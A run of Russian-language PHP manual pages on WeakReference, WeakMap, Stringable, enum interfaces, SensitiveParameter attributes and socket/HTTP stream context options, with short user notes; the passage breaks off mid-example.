Примеры использования WeakReference

Пример #1 Пример #1. Простое использование WeakReference

<?php
$obj = new stdClass;
$weakref = WeakReference::create($obj);
var_dump($weakref->get());
unset($obj);
var_dump($weakref->get());
?>

Результатом выполнения данного примера будет что-то подобное:

object(stdClass)#1 (0) {
}
NULL

Содержание

  • WeakReference::__construct — Конструктор, который запрещает реализацию
  • WeakReference::create — Создаёт новую слабую ссылку
  • WeakReference::get — Получает объект со слабой ссылкой

User Contributed Notes

There are no user contributed notes for this page.


Конструктор, который запрещает реализацию

  • « WeakReference
  • WeakReference::create »
  • PHP Manual
  • WeakReference
  • Конструктор, который запрещает реализацию

WeakReference::__construct

(PHP 7 >= 7.4.0, PHP 8)

WeakReference::__construct — Конструктор, который запрещает реализацию

Описание

public WeakReference::__construct()

Метод существует только для запрета создания экземпляров класса WeakReference. Слабые ссылки должны быть созданы с помощью фабричного метода WeakReference::create().

Список параметров

У этой функции нет параметров.

Смотрите также

  • WeakReference::create() - Создаёт новую слабую ссылку

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новую слабую ссылку

  • « WeakReference::__construct
  • WeakReference::get »
  • PHP Manual
  • WeakReference
  • Создаёт новую слабую ссылку

WeakReference::create

(PHP 7 >= 7.4.0, PHP 8)

WeakReference::create — Создаёт новую слабую ссылку

Описание

public static WeakReference::create(object $object): WeakReference

Создаёт новый WeakReference.

Список параметров

object

Объект для слабой ссылки.

Возвращаемые значения

Возвращает только что созданный объект.

User Contributed Notes

There are no user contributed notes for this page.


Получает объект со слабой ссылкой

  • « WeakReference::create
  • WeakMap »
  • PHP Manual
  • WeakReference
  • Получает объект со слабой ссылкой

WeakReference::get

(PHP 7 >= 7.4.0, PHP 8)

WeakReference::get — Получает объект со слабой ссылкой

Описание

public WeakReference::get(): ?object

Получает объект со слабой ссылкой. Если объект уже был уничтожен, возвращается null.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ссылку object или null, если объект был уничтожен.

User Contributed Notes

There are no user contributed notes for this page.


Класс WeakMap

(PHP 8)

Введение

WeakMap - это коллекция (map) или словарь, который принимает объекты в качестве ключей. Однако, в отличие от аналогичного в остальном SplObjectStorage, объект в ключе WeakMap не влияет на счётчик ссылок объекта. То есть, если в какой-то момент единственной оставшейся ссылкой на объект является ключ WeakMap, объект будет собран сборщиком мусора и удалён из WeakMap. Его основной вариант использования - создание кешей данных, полученных из объекта, которым не нужно жить дольше, чем объект.

WeakMap реализует ArrayAccess, Iterator и Countable, поэтому в большинстве случаев его можно использовать так же, как ассоциативный массив.

Обзор классов

final class WeakMap implements ArrayAccess, Countable, IteratorAggregate {
/* Методы */
public count(): int
public getIterator(): Iterator
public offsetExists(object $object): bool
public offsetGet(object $object): mixed
public offsetSet(object $object, mixed $value): void
public offsetUnset(object $object): void
}

Примеры

Пример #1 Пример использования Weakmap

<?php
$wm = new WeakMap();

$o = new stdClass;

class A {
public function __destruct() {
echo "Уничтожено!\n";
}
}

$wm[$o] = new A;

var_dump(count($wm));
echo "Сброс...\n";
unset($o);
echo "Готово\n";
var_dump(count($wm));

Результат выполнения данного примера:

int(1)
Сброс...
Уничтожено!
Готово
int(0)

Содержание

  • WeakMap::count — Подсчитывает количество живых записей в коллекции (map)
  • WeakMap::getIterator — Получает внешний итератор
  • WeakMap::offsetExists — Проверяет, есть ли в коллекции (map) определённый объект
  • WeakMap::offsetGet — Возвращает значение, на которое указывает определённый объект
  • WeakMap::offsetSet — Обновляет коллекцию (map) новой парой ключ-значение
  • WeakMap::offsetUnset — Удаляет запись из коллекции (map)

User Contributed Notes

Samu 17-Nov-2023 10:18
PHP's implementation of WeakMap allows for iterating over the contents of the weak map, hence it's important to understand why it is sometimes dangerous and requires careful thought.

If the objects of the WeakMap are "managed" by other services such as Doctrine's EntityManager, it is never safe to assume that if the object still exists in the weak map, it is still managed by Doctrine and therefore safe to consume.

Doctrine might have already thrown that entity away but some unrelated piece of code might still hold a reference to it, hence it still existing in the map as well.

If you are placing managed objects into the WeakMap and later iterating over the WeakMap (e.g. after Doctrine flush), then for each such object you must verify that it is still valid in the context of the source of the object.

For example assigning a detached Doctrine entity to another entity's property would result in errors about non-persisted / non-managed entities being found in the hierarchy.
mrblc at example dot com 06-Apr-2023 09:46
@ malferov at gmail dot com

It works as intended. As soon as:
<?php
$wp[new stdClass()] = 'value';
?>
is executed, number of references is zero and garbage collector will remove it.
malferov at gmail dot com 17-Feb-2023 10:29
<?php

$wp = new WeakMap();

// It's not working.
// Has no error but not adding dynamically specifying object to map;
// garbage collector will not be able to clear unnamed value, as I suppose
$wp[new stdClass()] = 'value';
echo $wp->count() . PHP_EOL; // 0

// It's working, as expected
$obj = new stdClass();
$wp[$obj] = 'value';
echo $wp->count(); // 1


Подсчитывает количество живых записей в коллекции (map)

  • « WeakMap
  • WeakMap::getIterator »
  • PHP Manual
  • WeakMap
  • Подсчитывает количество живых записей в коллекции (map)

WeakMap::count

(PHP 8)

WeakMap::count — Подсчитывает количество живых записей в коллекции (map)

Описание

public WeakMap::count(): int

Подсчитывает количество живых записей в коллекции (map).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество живых записей в коллекции (map).

User Contributed Notes

There are no user contributed notes for this page.


Получает внешний итератор

  • « WeakMap::count
  • WeakMap::offsetExists »
  • PHP Manual
  • WeakMap
  • Получает внешний итератор

WeakMap::getIterator

(PHP 8)

WeakMap::getIterator — Получает внешний итератор

Описание

public WeakMap::getIterator(): Iterator

Возвращает внешний итератор.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Экземпляр объекта, реализующего Iterator или Traversable

Ошибки

Выбрасывает Exception в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, есть ли в коллекции (map) определённый объект

  • « WeakMap::getIterator
  • WeakMap::offsetGet »
  • PHP Manual
  • WeakMap
  • Проверяет, есть ли в коллекции (map) определённый объект

WeakMap::offsetExists

(PHP 8)

WeakMap::offsetExists — Проверяет, есть ли в коллекции (map) определённый объект

Описание

public WeakMap::offsetExists(object $object): bool

Проверяет, есть ли ссылка на переданный объект в коллекции (map).

Список параметров

object

Объект для проверки.

Возвращаемые значения

Возвращает true, если объект содержится в коллекции (map) или false в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение, на которое указывает определённый объект

  • « WeakMap::offsetExists
  • WeakMap::offsetSet »
  • PHP Manual
  • WeakMap
  • Возвращает значение, на которое указывает определённый объект

WeakMap::offsetGet

(PHP 8)

WeakMap::offsetGet — Возвращает значение, на которое указывает определённый объект

Описание

public WeakMap::offsetGet(object $object): mixed

Возвращает значение, на которое указывает определённый объект.

Список параметров

object

Какой-то объект содержится в качестве ключа в коллекции (map).

Возвращаемые значения

Возвращает значение, связанное с объектом, переданным в качестве аргумента или null в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Обновляет коллекцию (map) новой парой ключ-значение

  • « WeakMap::offsetGet
  • WeakMap::offsetUnset »
  • PHP Manual
  • WeakMap
  • Обновляет коллекцию (map) новой парой ключ-значение

WeakMap::offsetSet

(PHP 8)

WeakMap::offsetSet — Обновляет коллекцию (map) новой парой ключ-значение

Описание

public WeakMap::offsetSet(object $object, mixed $value): void

Обновляет коллекцию (map) новой парой ключ-значение. Если ключ уже существует в коллекции, старое значение заменяется новым.

Список параметров

object

Объект, служащий ключом пары ключ-значение.

value

Произвольные данные, служащие значением пары ключ-значение.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет запись из коллекции (map)

  • « WeakMap::offsetSet
  • Stringable »
  • PHP Manual
  • WeakMap
  • Удаляет запись из коллекции (map)

WeakMap::offsetUnset

(PHP 8)

WeakMap::offsetUnset — Удаляет запись из коллекции (map)

Описание

public WeakMap::offsetUnset(object $object): void

Удаляет запись из коллекции (map).

Список параметров

object

Объект, служащий ключом для записи, которую нужно удалить из коллекции.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс Stringable

(PHP 8)

Введение

Интерфейс Stringable обозначает класс, реализующий метод __toString(). В отличие от большинства интерфейсов, Stringable неявно присутствует в любом классе, в котором определён магический метод __toString(), хотя он может и должен быть объявлен явно.

Его основное значение - разрешить функциям выполнять проверку типа на соответствие типу union string|Stringable, чтобы принимать либо строковый примитив, либо объект, который может быть преобразован в строку.

Обзор интерфейсов

interface Stringable {
/* Методы */
public __toString(): string
}

Примеры использования Stringable

Пример #1 Простой пример использования Stringable

<?php
class IPv4Address implements Stringable {
private string $oct1;
private string $oct2;
private string $oct3;
private string $oct4;

public function __construct(string $oct1, string $oct2, string $oct3, string $oct4) {
$this->oct1 = $oct1;
$this->oct2 = $oct2;
$this->oct3 = $oct3;
$this->oct4 = $oct4;
}

public function __toString(): string {
return "$this->oct1.$this->oct2.$this->oct3.$this->oct4";
}
}

function showStuff(string|Stringable $value) {
// Здесь Stringable будет преобразован в строку путем вызова
// __toString.
print $value;
}

$ip = new IPv4Address('123', '234', '42', '9');

showStuff($ip);
?>

Результатом выполнения данного примера будет что-то подобное:

123.234.42.9

Содержание

  • Stringable::__toString — Получает строковое представление объекта

User Contributed Notes

Gormack 21-Nov-2021 02:49
Since it's introduced in PHP 8, IPv4Address class Example #1 could be shortened to:
<?php
class IPv4Address implements Stringable {
    public function __construct(private string $oct1, private string $oct2, private string $oct3, private string $oct4) {
    }

    public function __toString(): string {
        return "$this->oct1.$this->oct2.$this->oct3.$this->oct4";
    }
}
?>


Получает строковое представление объекта

  • « Stringable
  • UnitEnum »
  • PHP Manual
  • Stringable
  • Получает строковое представление объекта

Stringable::__toString

(PHP 8)

Stringable::__toString — Получает строковое представление объекта

Описание

public Stringable::__toString(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строковое (string) представление объекта.

Смотрите также

  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс UnitEnum

(PHP 8 >= 8.1.0)

Введение

Интерфейс UnitEnum автоматически применяется движком ко всем перечислениям. Он не может быть реализован пользовательскими классами. Перечисления не могут переопределять его методы, поскольку реализации по умолчанию предоставляются движком. Доступен только для проверки типа.

Обзор интерфейсов

interface UnitEnum {
/* Методы */
public static cases(): array
}

Содержание

  • UnitEnum::cases — Возвращает список вариантов перечисления

User Contributed Notes

leonardosahon at gmail dot com (Osahenrumwen A) 21-Aug-2023 11:46
When looping through cases, you will need to access the values as an object and not an array, like this:

<?php

enum BlogStatus : string {
    case Published = "is_published";
    case Draft = "is_draft";
    case Scheduled = "is_scheduled";
}

foreach (BlogStatus::case() as $datum){
    echo $datum->name . '<br />'; // Published || Draft || Scheduled
    echo $datum->value . '<br />'; // is_publised || is_draft || is_scheduled
}

?>


Возвращает список вариантов перечисления

  • « UnitEnum
  • BackedEnum »
  • PHP Manual
  • UnitEnum
  • Возвращает список вариантов перечисления

UnitEnum::cases

(PHP 8 >= 8.1.0)

UnitEnum::cases — Возвращает список вариантов перечисления

Описание

public static UnitEnum::cases(): array

Метод возвращает упакованный массив всех вариантов перечисления в порядке объявления.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив всех определённых вариантов перечисления в порядке объявления.

Примеры

Пример #1 Простой пример использования

В следующем примере показано, как возвращаются варианты перечисления.

<?php
enum Suit
{
case Hearts;
case Diamonds;
case Clubs;
case Spades;
}

var_dump(Suit::cases());
?>

Результат выполнения данного примера:

array(4) {
    [0]=>
    enum(Suit::Hearts)
    [1]=>
    enum(Suit::Diamonds)
    [2]=>
    enum(Suit::Clubs)
    [3]=>
    enum(Suit::Spades)
}

User Contributed Notes

avishkasenanayake at hotmail dot com 06-Feb-2023 12:32
If anyone is here wondering how to get all the names from the enum cases and map them into an array, it can be done like this:

array_column(CampaignPeriods::cases(), 'name');

Likewise, have the 2nd argument as 'value' to get the enum's values.

Happy coding, web artisan :)


Интерфейс BackedEnum

(PHP 8 >= 8.1.0)

Введение

Интерфейс BackedEnum автоматически применяется движком к типизированным перечислениям. Он не может быть реализован пользовательскими классами. Перечисления не могут переопределять его методы, поскольку реализации по умолчанию предоставляются движком. Доступен только для проверки типа.

Обзор интерфейсов

interface BackedEnum extends UnitEnum {
/* Методы */
public static from(int|string $value): static
public static tryFrom(int|string $value): ?static
/* Наследуемые методы */
public static UnitEnum::cases(): array
}

Содержание

  • BackedEnum::from — Сопоставляет скаляр с экземпляром перечисления
  • BackedEnum::tryFrom — Сопоставляет скаляр с экземпляром перечисления или null

User Contributed Notes

whatuwant 04-Feb-2022 09:57
As of PHP 8.1, while `UnitEnum` & `BackedEnum` cannot be implemented by user-defined classes, it seems they can be extended by user-defined interfaces and eventually be implemented by enums.

<?php

interface TestEnumInterface extends \BackedEnum
{
    public function foo(): string;
}

enum TestEnum: string implements TestEnumInterface
{
    case CASE_1 = 'case 1';
    case CASE_2 = 'case 2';

    public function foo(): string
    {
        return 'bar';
    }
}

?>


Сопоставляет скаляр с экземпляром перечисления

  • « BackedEnum
  • BackedEnum::tryFrom »
  • PHP Manual
  • BackedEnum
  • Сопоставляет скаляр с экземпляром перечисления

BackedEnum::from

(PHP 8 >= 8.1.0)

BackedEnum::from — Сопоставляет скаляр с экземпляром перечисления

Описание

public static BackedEnum::from(int|string $value): static

Метод from() переводит строку (string) или число (int) в соответствующее значение перечисления, если такое имеется. Если соответствующее значение не определено, выбрасывается ValueError.

Список параметров

value

Скалярное значение для сопоставления с перечислением.

Возвращаемые значения

Случайный экземпляр этого перечисления.

Примеры

Пример #1 Простой пример использования

В следующем примере показано, как возвращаются варианты перечисления.

<?php
enum Suit: string
{
case Hearts = 'H';
case Diamonds = 'D';
case Clubs = 'C';
case Spades = 'S';
}

$h = Suit::from('H');

var_dump($h);

$b = Suit::from('B');
?>

Результат выполнения данного примера:

enum(Suit::Hearts)

Fatal error: Uncaught ValueError: "B" is not a valid backing value for enum "Suit" in /file.php:15

Смотрите также

  • UnitEnum::cases() - Возвращает список вариантов перечисления
  • BackedEnum::tryFrom() - Сопоставляет скаляр с экземпляром перечисления или null

User Contributed Notes

There are no user contributed notes for this page.


Сопоставляет скаляр с экземпляром перечисления или null

  • « BackedEnum::from
  • SensitiveParameterValue »
  • PHP Manual
  • BackedEnum
  • Сопоставляет скаляр с экземпляром перечисления или null

BackedEnum::tryFrom

(PHP 8 >= 8.1.0)

BackedEnum::tryFrom — Сопоставляет скаляр с экземпляром перечисления или null

Описание

public static BackedEnum::tryFrom(int|string $value): ?static

Метод tryFrom() переводит строку (string) или число (int) в соответствующее значение перечисления, если такое имеется. Если соответствующее значение не определено, возвращается null.

Список параметров

value

Скалярное значение для сопоставления с перечислением.

Возвращаемые значения

Экземпляр перечисления или null, если экземпляр не найден.

Примеры

Пример #1 Простой пример использования

В следующем примере показано, как возвращаются варианты перечисления.

<?php
enum Suit: string
{
case Hearts = 'H';
case Diamonds = 'D';
case Clubs = 'C';
case Spades = 'S';
}

$h = Suit::tryFrom('H');

var_dump($h);

$b = Suit::tryFrom('B') ?? Suit::Spades;

var_dump($b);
?>

Результат выполнения данного примера:

enum(Suit::Hearts)
enum(Suit::Spades)

Смотрите также

  • UnitEnum::cases() - Возвращает список вариантов перечисления
  • BackedEnum::from() - Сопоставляет скаляр с экземпляром перечисления

User Contributed Notes

There are no user contributed notes for this page.


Класс SensitiveParameterValue

(PHP 8 >= 8.2.0)

Введение

Класс SensitiveParameterValue позволяет обернуть чувствительные значения, чтобы защитить их от случайного раскрытия.

Значения параметров с атрибутом SensitiveParameter будут автоматически обёрнуты внутри объекта SensitiveParameterValue в трассировках стека.

Обзор классов

final class SensitiveParameterValue {
/* Свойства */
private readonly mixed $value;
/* Методы */
public __construct(mixed $value)
public __debugInfo(): array
public getValue(): mixed
}

Свойства

value

Чувствительное значение, которое необходимо защитить от случайного воздействия.

Содержание

  • SensitiveParameterValue::__construct — Создаёт новый объект SensitiveParameterValue
  • SensitiveParameterValue::__debugInfo — Защита чувствительных значений от случайного воздействия
  • SensitiveParameterValue::getValue — Возвращает чувствительное значение

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект SensitiveParameterValue

  • « SensitiveParameterValue
  • SensitiveParameterValue::__debugInfo »
  • PHP Manual
  • SensitiveParameterValue
  • Создаёт новый объект SensitiveParameterValue

SensitiveParameterValue::__construct

(PHP 8 >= 8.2.0)

SensitiveParameterValue::__construct — Создаёт новый объект SensitiveParameterValue

Описание

public SensitiveParameterValue::__construct(mixed $value)

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

value

Произвольное значение, которое должно храниться внутри объекта SensitiveParameterValue.

User Contributed Notes

There are no user contributed notes for this page.


Защита чувствительных значений от случайного воздействия

  • « SensitiveParameterValue::__construct
  • SensitiveParameterValue::getValue »
  • PHP Manual
  • SensitiveParameterValue
  • Защита чувствительных значений от случайного воздействия

SensitiveParameterValue::__debugInfo

(PHP 8 >= 8.2.0)

SensitiveParameterValue::__debugInfo — Защита чувствительных значений от случайного воздействия

Описание

public SensitiveParameterValue::__debugInfo(): array

Возвращает пустой массив (array) для защиты чувствительного значения от случайного раскрытия при использовании функции var_dump().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Пустой массив (array).

Примеры

Пример #1 Передача объекта SensitiveParameterValue в функцию var_dump()

<?php
$s = new \SensitiveParameterValue('secret');

var_dump($s);
?>

Результат выполнения данного примера:

object(SensitiveParameterValue)#1 (0) {
}

User Contributed Notes

There are no user contributed notes for this page.


Возвращает чувствительное значение

  • « SensitiveParameterValue::__debugInfo
  • Предопределённые атрибуты »
  • PHP Manual
  • SensitiveParameterValue
  • Возвращает чувствительное значение

SensitiveParameterValue::getValue

(PHP 8 >= 8.2.0)

SensitiveParameterValue::getValue — Возвращает чувствительное значение

Описание

public SensitiveParameterValue::getValue(): mixed

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Чувствительное значение.

Примеры

Пример #1 Пример использования SensitiveParameterValue::getValue()

<?php
$s = new \SensitiveParameterValue('secret');

echo "Защищённое значение: ", $s->getValue(), "\n";
?>

Результат выполнения данного примера:

Защищённое значение: secret

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые атрибуты

Содержание

  • Attribute
  • AllowDynamicProperties
  • ReturnTypeWillChange
  • SensitiveParameter

PHP предоставляет некоторые предопределённые атрибуты, которые можно использовать.

User Contributed Notes

There are no user contributed notes for this page.


Класс Attribute

(PHP 8)

Введение

Атрибуты дают возможность добавлять структурированную, машиночитаемую информацию метаданных о декларациях в коде: целью атрибута могут быть классы, методы, функции, параметры, свойства и константы класса. Метаданные, определённые атрибутами, могут быть проверены во время выполнения с помощью Reflection API. Поэтому атрибуты можно рассматривать как язык конфигурации, встроенный непосредственно в код.

Обзор классов

final class Attribute {
/* Константы */
const int TARGET_CLASS;
const int TARGET_FUNCTION;
const int TARGET_METHOD;
const int TARGET_PROPERTY;
const int TARGET_CLASS_CONSTANT;
const int TARGET_PARAMETER;
const int TARGET_ALL;
const int IS_REPEATABLE;
/* Свойства */
public int $flags;
/* Методы */
public __construct(int $flags = Attribute::TARGET_ALL)
}

Предопределённые константы

Attribute::TARGET_CLASS

Attribute::TARGET_FUNCTION

Attribute::TARGET_METHOD

Attribute::TARGET_PROPERTY

Attribute::TARGET_CLASS_CONSTANT

Attribute::TARGET_PARAMETER

Attribute::TARGET_ALL

Attribute::IS_REPEATABLE

Свойства

flags

Смотрите также

Введение в атрибуты

Содержание

  • Attribute::__construct — Создаёт новый экземпляр Attribute

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый экземпляр Attribute

  • « Attribute
  • AllowDynamicProperties »
  • PHP Manual
  • Attribute
  • Создаёт новый экземпляр Attribute

Attribute::__construct

(PHP 8)

Attribute::__construct — Создаёт новый экземпляр Attribute

Описание

public Attribute::__construct(int $flags = Attribute::TARGET_ALL)

Создаёт новый экземпляр Attribute.

Список параметров

flags

User Contributed Notes

There are no user contributed notes for this page.


Класс AllowDynamicProperties

(PHP 8 >= 8.2.0)

Введение

Атрибут используется для маркировки классов, которые позволяют использовать динамические свойства.

Обзор классов

final class AllowDynamicProperties {
/* Методы */
public __construct()
}

Примеры

Динамические свойства устарели, начиная с PHP 8.2.0, поэтому их использование без маркировки класса этим атрибутом приведёт к появлению уведомления об устаревании.

<?php
class DefaultBehaviour { }

#[\AllowDynamicProperties]
class ClassAllowsDynamicProperties { }

$o1 = new DefaultBehaviour();
$o2 = new ClassAllowsDynamicProperties();

$o1->nonExistingProp = true;
$o2->nonExistingProp = true;
?>

Результат выполнения данного примера в PHP 8.2:

Deprecated: Creation of dynamic property DefaultBehaviour::$nonExistingProp is deprecated in file on line 10

Смотрите также

Введение в атрибуты

Содержание

  • AllowDynamicProperties::__construct — Создаёт новый экземпляр атрибута AllowDynamicProperties

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый экземпляр атрибута AllowDynamicProperties

  • « AllowDynamicProperties
  • ReturnTypeWillChange »
  • PHP Manual
  • AllowDynamicProperties
  • Создаёт новый экземпляр атрибута AllowDynamicProperties

AllowDynamicProperties::__construct

(PHP 8 >= 8.2.0)

AllowDynamicProperties::__construct — Создаёт новый экземпляр атрибута AllowDynamicProperties

Описание

public AllowDynamicProperties::__construct()

Создаёт новый экземпляр AllowDynamicProperties.

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Класс ReturnTypeWillChange

(PHP 8 >= 8.1.0)

Введение

Большинство неокончательных внутренних методов теперь требуют, чтобы переопределяющие методы объявляли совместимый тип возвращаемого значения, иначе при проверке наследования будет выдано уведомление об устаревании. В случае если тип возвращаемого значения не может быть объявлен для переопределяемого метода из-за проблем совместимости с кросс-версиями PHP, может быть добавлен атрибут #[\ReturnTypeWillChange], чтобы заглушить уведомление об устаревании.

Обзор классов

final class ReturnTypeWillChange {
/* Методы */
public __construct()
}

Смотрите также

Введение в атрибуты

Содержание

  • ReturnTypeWillChange::__construct — Создаёт новый экземпляр атрибута ReturnTypeWillChange

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый экземпляр атрибута ReturnTypeWillChange

  • « ReturnTypeWillChange
  • SensitiveParameter »
  • PHP Manual
  • ReturnTypeWillChange
  • Создаёт новый экземпляр атрибута ReturnTypeWillChange

ReturnTypeWillChange::__construct

(PHP 8 >= 8.1.0)

ReturnTypeWillChange::__construct — Создаёт новый экземпляр атрибута ReturnTypeWillChange

Описание

public ReturnTypeWillChange::__construct()

Создаёт новый экземпляр ReturnTypeWillChange.

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Класс SensitiveParameter

(PHP 8 >= 8.2.0)

Введение

Атрибутом размечают параметр с чувствительным значением, которое будет отредактировано при попадании в трассировку стека.

Обзор классов

final class SensitiveParameter {
/* Методы */
public __construct()
}

Примеры

<?php

function defaultBehavior(
string $secret,
string $normal
) {
throw new Exception('Error!');
}

function sensitiveParametersWithAttribute(
#[\SensitiveParameter]
string $secret,
string $normal
) {
throw new Exception('Error!');
}

try {
defaultBehavior('password', 'normal');
} catch (Exception $e) {
echo $e, PHP_EOL, PHP_EOL;
}

try {
sensitiveParametersWithAttribute('password', 'normal');
} catch (Exception $e) {
echo $e, PHP_EOL, PHP_EOL;
}

?>

Результат выполнения данного примера в PHP 8.2 аналогичен:

Exception: Error! in example.php:7
Stack trace:
#0 example.php(19): defaultBehavior('password', 'normal')
#1 {main}

Exception: Error! in example.php:15
Stack trace:
#0 example.php(25): sensitiveParametersWithAttribute(Object(SensitiveParameterValue), 'normal')
#1 {main}

Смотрите также

  • Введение в атрибуты
  • SensitiveParameterValue

Содержание

  • SensitiveParameter::__construct — Создаёт новый экземпляр атрибута SensitiveParameter

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый экземпляр атрибута SensitiveParameter

  • « SensitiveParameter
  • Контекстные опции и параметры »
  • PHP Manual
  • SensitiveParameter
  • Создаёт новый экземпляр атрибута SensitiveParameter

SensitiveParameter::__construct

(PHP 8 >= 8.2.0)

SensitiveParameter::__construct — Создаёт новый экземпляр атрибута SensitiveParameter

Описание

public SensitiveParameter::__construct()

Создаёт новый экземпляр SensitiveParameter.

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Контекстные опции и параметры

PHP предлагает различные контекстные опции и параметры, которые могут быть использованы со всеми
файловыми системами и обёртками потоков. Контекст создаётся с помощью функции
stream_context_create(). Опции устанавливаются с помощью
stream_context_set_option(), а параметры с помощью
stream_context_set_params().

Содержание

  • Контекстные опции сокета — Список контекстных опций сокета
  • Опции контекста HTTP — Список опций контекста HTTP
  • Параметры контекста FTP — Список параметров контекста FTP
  • Опции контекста SSL — Список опций контекста SSL
  • Контекстные опции Phar — Список контекстных опций Phar
  • Параметры контекста — Список параметров контекста
  • Опции контекста Zip — Список опций контекста Zip
  • Zlib context options — Перечисление опций контекста Zlib

User Contributed Notes

There are no user contributed notes for this page.


Список контекстных опций сокета

  • « Контекстные опции и параметры
  • Опции контекста HTTP »
  • PHP Manual
  • Контекстные опции и параметры
  • Список контекстных опций сокета

Контекстные опции сокета

Контекстные опции сокета — Список контекстных опций сокета

Описание

Контекстные опции доступны для всех обёрток, которые работают через сокеты, такие как tcp, http и ftp.

Опции

bindto

Используется для указания IP-адреса (IPv4 или IPv6) и\или номера порта, которые PHP будет использовать для подключения к сети. Синтаксис выглядит следующим образом: ip:port для адреса IPv4, и [ip]:port для адреса IPv6. Установка IP и\или порта в 0 позволит системе самой выбрать нужный IP и\или порт.

Замечание:

Так как во время обычной работы FTP создаёт 2 соединения с сокетами, номер порта не может быть задан с помощью данной опции.

backlog

Используется для ограничения исходящих соединений в очереди соединений сокета.

Замечание:

Используется только для stream_socket_server().

ipv6_v6only

Переопределяет значение ОС по умолчанию для отображения IPv4 в IPv6.

Замечание:

Это важно в случае попытки отдельно слушать IPv4 адреса, в то время как задана привязка к [::].

Применимо только к stream_socket_server().

so_reuseport

Позволяет множественную привязку к одной и той же паре IP:порт, даже из разных процессов.

Замечание:

Применимо только к stream_socket_server().

so_broadcast

Разрешает посылать и принимать данные в/от широковещательных адресов.

Замечание:

Применимо только к stream_socket_server().

tcp_nodelay

Установка этой опции в true сделает SOL_TCP,NO_DELAY=1 соответственно, таким образом, отключение алгоритма TCP Nagle.

Список изменений

Версия | Описание
7.1.0 | Добавлено tcp_nodelay.
7.0.1 | Добавлено ipv6_v6only.

Примеры

Пример #1 Пример использования bindto

<?php
// Соединение с сетью, используя IP '192.168.0.100'
$opts = array(
'socket' => array(
'bindto' => '192.168.0.100:0',
),
);

// Соединение с сетью, используя IP '192.168.0.100' и порт '7000'
$opts = array(
'socket' => array(
'bindto' => '192.168.0.100:7000',
),
);

// Соединение с сетью, используя IPv6 адрес '2001:db8::1'
// и порт '7000'
$opts = array(
'socket' => array(
'bindto' => '[2001:db8::1]:7000',
),
);

// Соединение с сетью через порт '7000'
$opts = array(
'socket' => array(
'bindto' => '0:7000',
),
);

// Создаём контекст...
$context = stream_context_create($opts);

// ...и используем его для получения данных
echo file_get_contents('http://www.example.com', false, $context);

?>

User Contributed Notes

mix at ater dot me 19-Mar-2019 05:18
The right way for forcing IPv6 is 'bindto' => '[::]:0'
guru at jnt-finland dot fi 26-Oct-2015 03:54
You can set "bindto" to "0:0" to force use IPv4 instead of IPv6. And probably "[0]:0" to force use IPv6, thou this I couldn't test.


Список опций контекста HTTP

  • « Контекстные опции сокета
  • Параметры контекста FTP »
  • PHP Manual
  • Контекстные опции и параметры
  • Список опций контекста HTTP

Опции контекста HTTP

Опции контекста HTTP — Список опций контекста HTTP

Описание

Опции контекста для транспортных протоколов http:// и https://.

Опции

method string

GET, POST или любой другой метод HTTP, поддерживаемый удалённым сервером.

По умолчанию GET.

header array или string

Дополнительные заголовки для отправки вместе с запросом. Значения в этой опции будут переопределять другие значения (такие как User-agent:, Host: и Authentication:), даже при следующих переадресациях Location:. Таким образом, не рекомендуется устанавливать заголовок Host:, если включён параметр follow_location.

user_agent string

Значение для отправки вместе с заголовком User-Agent:. Это значение будет использоваться, если заголовок user-agent не был указан в опции контекста header выше.

По умолчанию используется значение директивы user_agent из файла php.ini.

content string

Дополнительные данные для отправки после заголовков. Обычно используется с запросами POST и PUT.

proxy string

URI, указывающий адрес прокси-сервера. (Например, tcp://proxy.example.com:5100).

request_fulluri bool

Когда установлено в true, весь URI будет использован при формировании запроса. (Например, GET http://www.example.com/path/to/file.html HTTP/1.0). Хотя это нестандартный формат запроса, некоторые прокси-серверы требуют его.

По умолчанию false.

follow_location int

Следовать переадресациям заголовка Location. Для отключения установите в значение 0.

По умолчанию 1.

max_redirects int

Максимальное количество переадресаций, которым можно следовать. Значение 1 или меньше означает, что никаких переадресаций не будет произведено.

По умолчанию 20.

protocol_version float

Версия протокола HTTP.

По умолчанию 1.1, начиная с PHP 8.0.0; до этой версии значение по умолчанию было 1.0.

timeout float

Время ожидания на чтение в секундах, указанное в виде числа с плавающей точкой (float), например, 10.5.

По умолчанию используется значение директивы default_socket_timeout из файла php.ini.

ignore_errors bool

Извлечь содержимое даже при неуспешных статусах завершения.

По умолчанию false.

Примеры

Пример #1 Извлечь страницу и отправить данные методом POST

<?php

$postdata = http_build_query(
array(
'var1' => 'некоторое содержимое',
'var2' => 'doh'
)
);

$opts = array('http' =>
array(
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => $postdata
)
);

$context = stream_context_create($opts);

$result = file_get_contents('http://example.com/submit.php', false, $context);

?>

Пример #2 Игнорировать переадресации, но извлечь заголовки и содержимое

<?php

$url = "http://www.example.org/header.php";

$opts = array('http' =>
array(
'method' => 'GET',
